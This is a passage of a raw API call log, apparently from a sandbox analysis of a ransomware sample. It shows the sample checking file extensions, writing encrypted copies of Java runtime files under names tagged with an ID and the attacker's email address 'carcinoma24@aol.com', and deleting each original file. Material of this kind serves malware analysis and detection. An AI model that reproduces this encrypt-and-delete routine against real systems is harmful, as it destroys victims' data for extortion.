[0306.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.366] lstrlenW (lpString=".doc") returned 4 [0306.366] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".docx") returned 5 [0306.366] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0306.366] lstrlenW (lpString=".pdf") returned 4 [0306.366] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".xls") returned 4 [0306.366] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0306.366] lstrlenW (lpString=".xlsx") returned 5 [0306.367] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0306.367] lstrlenW (lpString=".ppt") returned 4 [0306.367] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0306.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.367] lstrlenW (lpString=".zip") returned 4 [0306.367] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0306.367] lstrlenW (lpString=".rar") returned 4 [0306.367] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0306.367] lstrlenW (lpString=".bz2") returned 4 [0306.367] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0306.367] lstrlenW (lpString=".7z") returned 3 [0306.367] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0306.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.367] lstrlenW (lpString=".dbf") returned 4 [0306.367] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0306.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.367] lstrlenW (lpString=".1cd") returned 4 [0306.367] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0306.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0306.367] lstrlenW (lpString=".jpg") returned 4 [0306.367] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0306.367] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0306.367] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0306.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.368] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=51236) returned 1 [0306.368] CloseHandle (hObject=0x35c) returned 1 [0306.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0306.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.369] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.369] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.381] GetLastError () returned 0x0 [0306.381] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xc824, lpOverlapped=0x0) returned 1 [0306.383] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xc830, lpOverlapped=0x0) returned 1 [0306.385] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.385] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe6, lpOverlapped=0x0) returned 1 [0306.385] SetEndOfFile (hFile=0x394) returned 1 [0306.385] CloseHandle (hObject=0x394) returned 1 [0306.385] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.385] SetEndOfFile (hFile=0x35c) returned 1 [0306.386] CloseHandle (hObject=0x35c) returned 1 [0306.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.387] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0306.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.387] lstrlenW (lpString=".doc") returned 4 [0306.388] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".docx") returned 5 [0306.388] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0306.388] lstrlenW (lpString=".pdf") returned 4 [0306.388] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".xls") returned 4 [0306.388] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".xlsx") returned 5 [0306.388] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0306.388] lstrlenW (lpString=".ppt") returned 4 [0306.388] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.388] lstrlenW (lpString=".zip") returned 4 [0306.388] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".rar") returned 4 [0306.388] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".bz2") returned 4 [0306.388] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString=".7z") returned 3 [0306.388] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.388] lstrlenW (lpString=".dbf") returned 4 [0306.388] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.388] lstrlenW (lpString=".1cd") returned 4 [0306.388] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0306.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0306.388] lstrlenW (lpString=".jpg") returned 4 [0306.388] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0306.389] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.389] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.389] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.389] GetLastError () returned 0x0 [0306.389] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x414, lpOverlapped=0x0) returned 1 [0306.390] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x420, lpOverlapped=0x0) returned 1 [0306.391] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.391] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xee, lpOverlapped=0x0) returned 1 [0306.391] SetEndOfFile (hFile=0x394) returned 1 [0306.392] CloseHandle (hObject=0x394) returned 1 [0306.392] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.392] SetEndOfFile (hFile=0x35c) returned 1 [0306.393] CloseHandle (hObject=0x35c) returned 1 [0306.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.393] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0306.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.394] lstrlenW (lpString=".doc") returned 4 [0306.394] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".docx") returned 5 [0306.394] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0306.394] lstrlenW (lpString=".pdf") returned 4 [0306.394] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".xls") returned 4 [0306.394] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".xlsx") returned 5 [0306.394] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0306.394] lstrlenW (lpString=".ppt") returned 4 [0306.394] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.394] lstrlenW (lpString=".zip") returned 4 [0306.394] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".rar") returned 4 [0306.394] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".bz2") returned 4 [0306.394] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString=".7z") returned 3 [0306.394] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.394] lstrlenW (lpString=".dbf") returned 4 [0306.394] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0306.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.394] lstrlenW (lpString=".1cd") returned 4 [0306.394] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0306.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0306.395] lstrlenW (lpString=".jpg") returned 4 [0306.395] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0306.395] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.395] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.395] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.395] GetLastError () returned 0x0 [0306.396] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4302a, lpOverlapped=0x0) returned 1 [0306.790] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x43030, lpOverlapped=0x0) returned 1 [0306.804] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.804] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0306.804] SetEndOfFile (hFile=0x394) returned 1 [0306.804] CloseHandle (hObject=0x394) returned 1 [0306.804] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.804] SetEndOfFile (hFile=0x35c) returned 1 [0306.849] CloseHandle (hObject=0x35c) returned 1 [0306.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.858] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0306.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.859] lstrlenW (lpString=".doc") returned 4 [0306.859] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".docx") returned 5 [0306.859] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0306.859] lstrlenW (lpString=".pdf") returned 4 [0306.859] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".xls") returned 4 [0306.859] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".xlsx") returned 5 [0306.859] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0306.859] lstrlenW (lpString=".ppt") returned 4 [0306.859] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.859] lstrlenW (lpString=".zip") returned 4 [0306.859] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".rar") returned 4 [0306.859] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".bz2") returned 4 [0306.859] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString=".7z") returned 3 [0306.859] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.859] lstrlenW (lpString=".dbf") returned 4 [0306.859] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0306.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.859] lstrlenW (lpString=".1cd") returned 4 [0306.859] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0306.860] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0306.860] lstrlenW (lpString=".jpg") returned 4 [0306.860] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0306.860] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.860] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.860] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.861] GetLastError () returned 0x0 [0306.861] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0306.876] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xb30, lpOverlapped=0x0) returned 1 [0306.877] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.878] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfa, lpOverlapped=0x0) returned 1 [0306.878] SetEndOfFile (hFile=0x394) returned 1 [0306.878] CloseHandle (hObject=0x394) returned 1 [0306.878] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.878] SetEndOfFile (hFile=0x35c) returned 1 [0306.879] CloseHandle (hObject=0x35c) returned 1 [0306.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.879] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0306.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.880] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.880] lstrlenW (lpString=".doc") returned 4 [0306.880] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.880] lstrlenW (lpString=".docx") returned 5 [0306.880] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.880] lstrlenW (lpString=".pdf") returned 4 [0306.880] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.880] lstrlenW (lpString=".xls") returned 4 [0306.880] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString=".xlsx") returned 5 [0306.881] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.881] lstrlenW (lpString=".ppt") returned 4 [0306.881] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.881] lstrlenW (lpString=".zip") returned 4 [0306.881] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString=".rar") returned 4 [0306.881] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString=".bz2") returned 4 [0306.881] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString=".7z") returned 3 [0306.881] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.881] lstrlenW (lpString=".dbf") returned 4 [0306.881] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.881] lstrlenW (lpString=".1cd") returned 4 [0306.881] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.881] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0306.881] lstrlenW (lpString=".jpg") returned 4 [0306.881] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.882] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.882] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0306.882] GetLastError () returned 0x0 [0306.883] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xcea, lpOverlapped=0x0) returned 1 [0306.883] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0306.884] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.884] WriteFile (in: hFile=0x394, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x100, lpOverlapped=0x0) returned 1 [0306.885] SetEndOfFile (hFile=0x394) returned 1 [0306.885] CloseHandle (hObject=0x394) returned 1 [0306.885] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.885] SetEndOfFile (hFile=0x35c) returned 1 [0306.886] CloseHandle (hObject=0x35c) returned 1 [0306.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.886] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0306.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.887] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.887] lstrlenW (lpString=".doc") returned 4 [0306.887] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.887] lstrlenW (lpString=".docx") returned 5 [0306.887] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.887] lstrlenW (lpString=".pdf") returned 4 [0306.887] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.887] lstrlenW (lpString=".xls") returned 4 [0306.887] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.887] lstrlenW (lpString=".xlsx") returned 5 [0306.888] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.888] lstrlenW (lpString=".ppt") returned 4 [0306.888] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.888] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0306.888] lstrlenW (lpString=".zip") returned 4 [0306.888] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.888] lstrlenW (lpString=".rar") returned 4 [0306.888] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 